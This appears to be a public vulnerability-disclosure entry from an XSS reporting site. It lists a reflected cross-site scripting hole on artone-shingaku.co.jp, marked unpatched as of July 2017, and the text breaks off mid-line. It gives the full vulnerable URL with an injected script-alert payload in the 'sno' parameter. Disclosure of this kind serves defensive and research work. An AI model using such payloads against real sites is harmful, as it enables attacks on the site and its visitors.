artone-shingaku.co.jp XSS vulnerability

Vulnerable URL: http://www.artone-shingaku.co.jp/pc/schhome.php?sno=%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6443000 Google...